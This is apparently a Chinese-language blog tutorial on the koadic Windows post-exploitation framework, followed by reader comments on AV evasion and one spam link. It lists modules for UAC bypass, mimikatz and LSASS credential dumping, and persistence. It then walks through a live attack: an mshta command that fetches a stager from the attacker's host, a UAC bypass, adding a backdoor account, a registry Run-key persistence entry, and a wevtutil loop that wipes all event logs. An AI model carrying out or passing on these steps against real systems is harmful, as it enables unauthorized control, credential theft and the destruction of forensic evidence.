一、简介
koadic是一个windows平台的后渗透rootkit框架。它与meterpreter和empire类似,主要的区别是koadic的操作主要使用Windows Script Host(JScript/VBScript),这样koadic可以兼容windows 2000到windows 10范围内的系统(windows 2000不需要service pack)。
二、操作步骤
(一)安装koadic
apt update //更新软件清单
apt install koadic //kali 2020中可以在线安装,但是kali 2021的安装源已删除了kodiac
可参考下面网址进行安装:
https://github.com/zerosum0x0/koadic
(二)koadic相关的概念
koadic //运行

1、 可用的命令
api //关闭/打开REST API
clear //清屏
createstager //为当前模块创建一个stager
creds //显示收集到的凭据信息
domain //显示收集到的域信息
edit //进入文本编辑器,编辑当前模块的代码
exit //退出程序
help //显示一个命令的帮助信息
info //显示当前模块的选项
jobs //显示job相关的信息
kill //通过ID杀死僵尸
listeners //显示关于stager的信息
load //重新加载所有的模块
pabst //PBR Friday
paddy //It's paddy, not patty
previous //返回到使用过的上一个模块
pyexec //evals some python
repeatjobs //显示正在反复执行的job的信息
run //运行当前模块
set //为当前模块设置变量
sounds //关闭/打开声音, sound(0|1)
spool //将输出写入文件
taco //taco time
unset //为当前模块清除一个变量的值
use //切换到其它模块
valentine //Love is in the wire
verbose //关闭/打开详情,verbose (0|1)
zombies //列出已入侵的目标
2、 可用的模块
add_user
bitsadmin
bypassuac_compdefaults
bypassuac_compmgmtlauncher
bypassuac_eventvwr
bypassuac_fodhelper
bypassuac_sdclt
bypassuac_slui
bypassuac_systempropertiesadvanced
bypassuac_wsreset
clipboard
comsvcs_lsass
disk
download_file
enable_rdesktop
enum_domain_info
enum_printers
enum_shares
enum_users
exec_cmd
exec_psexec
exec_wmi
exec_wmic
hashdump_dc
hashdump_sam
implant/
killav
loot_finder
mimikatz_dotnet2js
mimikatz_tashlib
mshta
multi_module
office_key
password_box
reflectdll_excel
registry
regsvr
rundll32_js
schtasks
shellcode_dynwrapx
shellcode_excel
stage_wmi
stager/
system_createservice
tcp
thunderstruck
upload_file
user_hunter
voice
windows_key
wmi
wmic
可以看到,stager和implant是目录,其它都是单独的模块。其实,这些单独的模块在stager和implants目录中都能找到,单独列出来是为了便于操作。
3、 stager的概念
Stagers 用于“勾住(hook)”目标主机,使攻击者能够使用implants。
| 模块 | 描述 |
| stager/js/mshta | 使用MSHTA.exe HTMP应用程序,在内存中提供攻击载荷 |
| stager/js/regsvr | 使用regsvr3.exe COM+脚本,在内存中提供攻击载荷 |
| stager/js/rundll32_js | 使用rundll32.exe,在内存中提供攻击载荷 |
| stager/js/disk | 使用磁盘上的文件,提供攻击载荷 |
| stager/js/wmic | 使用WMIC,在内存中提供攻击载荷 |
| stager/js/bitsadmin | 在Bitsadmin作业中传输一个包含JS的.wsf攻击载荷并执行。 |
4、 implants的概念
目标主机被“勾住(hook)”后成为zombie,implants用于在zombie上执行任务。
| 模块 | 描述 |
| implant/elevate/bypassuac_compdefaults | Bypass UAC via registry hijack for ComputerDefaults.exe. |
| implant/elevate/bypassuac_compmgmtlauncher | Bypass UAC via registry hijack for CompMgmtLauncher.exe. |
| implant/elevate/bypassuac_eventvwr | Uses enigma0x3's eventvwr.exe exploit to bypass UAC on Windows 7, 8, and 10. |
| implant/elevate/bypassuac_fodhelper | Bypass UAC via registry hijack for fodhelper.exe. |
| implant/elevate/bypassuac_sdclt | Uses enigma0x3's sdclt.exe exploit to bypass UAC on Windows 10. |
| implant/elevate/bypassuac_slui | Bypass UAC via registry hijack for slui.exe. |
| implant/elevate/system_createservice | 通过SC.exe,将administrator会话提升到system会话。 |
| implant/fun/zombie | 将音量开到最大,并在隐蔽窗口中打开The Cranberries的某tube视频。 |
| implant/fun/voice | 使用text-to-speech播放一条消息。 |
| implant/gather/clipboard | 获取用户剪贴板中的内容。 |
| implant/gather/comsvcs_lsass | 使用comsvcs.dll创建LSASS的MiniDump,用pypykatz进行解析。 |
| implant/gather/enum_domain_info | 获取windows域的信息。 |
| implant/gather/hashdump_dc | NTDS.dit文件中的域控制器hash。 |
| implant/gather/hashdump_sam | 从SAM中获取口令hash。 |
| implant/gather/loot_finder | 查找目标上的战利品。 |
| implant/gather/user_hunter | 使用Dynamic Wrapper X定位登陆到域控制器的用户。 |
| implant/inject/mimikatz_dotnet2js | 注入反射加载的DLL,运行powerkatz.dll。(@tirannido DotNetToJS). |
| implant/inject/mimikatz_dynwrapx | 使用Dynamic Wrapper X,注入反射加载的DLL,运行powerkatz.dll。 |
| implant/inject/mimikatz_tashlib | 使用TashLib COM对象,执行任意shellcode。(Work in Progress!) |
| implant/inject/shellcode_dotnet2js | 使用DotNet2JS技术执行任意shellcode。通过createremotethread 将shellcode作为新的线程注入到主机进程中。 |
| implant/inject/shellcode_dynwrapx | 使用动态的Wrapper X COM对象执行任意shellcode。 |
| implant/inject/shellcode_excel | 如果目标系统安装了execl,则可运行任意shellcode。 |
| implant/manage/enable_rdesktop | 启用目标系统的远程桌面。 |
| implant/manage/exec_cmd | 在目标系统中运行任意命令,并可选择是否接收输出信息。 |
| implant/persist/add_user | 添加本地账户或域账户。 |
| implant/persist/registry | 在注册表中添加Koadic stager攻击载荷。 |
| implant/persist/schtasks | 通过计划任务实现持久化。 |
| implant/persist/wmi | 通过WMI订阅实现持久化。 |
| implant/phish/password_box | 欺骗用户输入口令。 |
| implant/pivot/exec_psexec | 使用sysinternals中的psexec在其它机器上运行命令。 |
| implant/pivot/exec_wmi | 使用WMI在其它机器上执行命令。 |
| implant/pivot/stage_wmi | 使用WMI在其它机器上“勾住”一个僵尸。 |
| implant/scan/tcp | 使用HTTP扫描目标主机所在局域网的开放端口。 |
| implant/util/download_file | 从目标主机下载文件。 |
| implant/util/multi_module | 顺序执行多个implants。 |
| implant/util/upload_file | 从正在监听的服务器上传文件到目标主机。 |
(三)kodiac的使用案例
1、 使用stager/js/mshta模块获取zombie
stager/js/mshta模块是首次执行koadic时的默认模块,由于这个stager使用的是windows内置的mshta,是最安全的,因此可以先使用这个模块获取远程主机的控制权。
info //查看有哪些参数需要设置

可以看到,默认情况下已经设置好了所有的参数,直接运行即可。
run //运行
在被攻击主机上按照提示执行:
mshta http://192.168.43.234:9999/cXPJX
之后控制端就会获取zombie:

使用zombies命令查看受控端:

可以看到,当前只有一个zombie,IP地址为192.168.43.108。注意STATUS字段的值,zombie下线之后,其信息仍然可以看到,但是STATUS为DEAD。
使用zombies ID或zombies IP,都可以查看特定zombie的信息。
zombies 0

zombies 192.168.43.108

2、 权限提升
use implant/elevate/bypassuac_compmgmtlauncher
info //查看需要设置的变量

run //运行模块代码

得到了zombie 1。
zombies 1 //查看详情

可以看到,Elevated:YES,说明提权成功了,zombie 1是提权后的会话。
3、 添加后门账户
use add_user //切换到add_user模块
info //查看需要设置的变量
set username hack
set password hack

cmdshell 1 //使用cmdshell命令,进入zombie 1的命令行
net user //查看账户信息

可以看到hack用户,说明前面的提权和添加用户都是成功的。
4、 设置后门程序自启动
use implant/persist/registry
info //查看需要设置的变量

set payload 0 //payload设置为0即可
run

显示注册表项添加成功。
在zombie上查看,可以看到在HKCU/Software/microsoft/Windows/CurrentVersion/Run中存在名为K0adic的字符串值。
重启zombie主机,zombie关机后会显示zombie的STATUS为dead,但是随着zombie开机,会重新获取zombie,ID为2。

说明自启动的payload成功执行了。
5、 清除事件日志
对于刚刚我们的操作,可以运行“for /F “tokens=*” %1 in (‘wevtutil.exe el’) DO wevtutil.exe cl “%1″”命令,使用“implant/manage/exec_cmd”模块来清除所有事件日志。命令如下:
use implant/manage/exec_cmd
info
set zombie 3
set CMD for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
run

这个模块没有输出,只能到zombie主机上查看效果。在zombie主机的“事件查看器—windows日志—系统”中可以看到,在执行implant/manage/exec_cmd的那个时间发生了日志清除事件,清除了RemoteDesktopServices-RemoteDesktopSessionManager/Admin日志、system日志和powershell日志。说明模块执行成功。

江苏省扬州市 1F
kali 2021装不了?那现在还能用啥替代啊?
韩国 B1
@ 煤油灯 kali2021可以手动编译安装,就是步骤麻烦点。
新西兰 2F
这个工具挺全的,模块真多。
辽宁省盘锦市 3F
之前用meterpreter比较多,这个靠脚本兼容性好像更好点。
上海市 B1
@ 甜心饭团 兼容性从2000到10,这点比meterpreter强。
陕西省渭南市富平县 4F
绕过UAC那堆方法现在还能用吗,win10更新后好多都失效了。
韩国 5F
试过添加用户,成功了,但自启动那个注册表项容易被杀软扫出来。
辽宁省抚顺市 6F
对于新手来说,步骤写得有点跳跃,没讲清楚怎么生成那个mshta链接。
浙江省金华市 7F
清除日志那个命令够狠的,直接清空所有。
云南省昆明市 B1
@ 青冥使 清除所有日志太显眼了,不如针对性清理几个关键日志。
韩国 8F
看到zombie就想起植物大战僵尸了hhh,这命名有点意思。
江西省 B1
@ 妖瞳惑心 哈哈,你这么一说还真像,控制一堆僵尸机。
河北省唐山市 9F
文章里给的github链接好像打不开,404了。
印度 B1
@ 笑不活了 github链接没问题啊,我刚打开看了下。
北京市 10F
实战用过一次,感觉比empire轻量,但稳定性差点意思。
河南省许昌市 B1
@ 袜子老失踪 bitsadmin失败是因为防火墙拦截吧,换个端口试试。
台湾省新竹市 11F
这个工具模块真够全的,绕UAC的方法列了一堆。
广东省佛山市 12F
kali 2021源里没了?那得自己编译源码装吧,有点麻烦。
中国 13F
实战中stager用mshta确实最常见,成功率高。
福建省厦门市 14F
对于内网横向移动,那个WMI模块挺好用的。
广东省清远市 15F
添加用户那个模块,密码复杂度有要求不?
上海市 16F
感觉操作步骤写得有点乱,新手可能跟不上。
印度 17F
之前测试过bitsadmin的stager,在某些环境下载入会失败。
江苏省无锡市 18F
这个工具在win7上测试过吗?兼容性怎么样?
日本 19F
zombie这个命名太搞笑了,让我想起打游戏的时候。
辽宁省大连市 20F
试了下添加用户,确实好用,就是杀软会报。
山西省太原市 21F
UAC绕过那部分现在还能用吗?win10最新版测试过没?
乌克兰 22F
照片令人惊艳。谢谢 感受。 [url=https://iqvel.com/zh-Hans/a/%E6%B3%B0%E5%9B%BD/%E8%90%B1%E5%84%82%E5%BE%8B]山谷小鎮[/url] 出色的 旅行者门户网站, 保持 继续下去。谢谢!
新疆 23F
清除日志那个命令会不会触发安全警报啊?
内蒙古鄂尔多斯市 24F
mshta成功率是高,但容易被检测到。
浙江省嘉兴市 25F
模块确实多,就是文档不够详细。
印度尼西亚 26F
bitsadmin那个payload挺隐蔽的
新西兰 27F
js/rundll32那个能过杀软不?
宁夏银川市 B1
@ 宇宙迷航者 这个要看杀软的检测策略,有的能过有的不行
北京市 28F
bypassuac那几个模块在win10上还管用吗?
日本 29F
stager分类还挺清楚
浙江省杭州市 B1
@ 白骨吟游 对,分类逻辑还挺清晰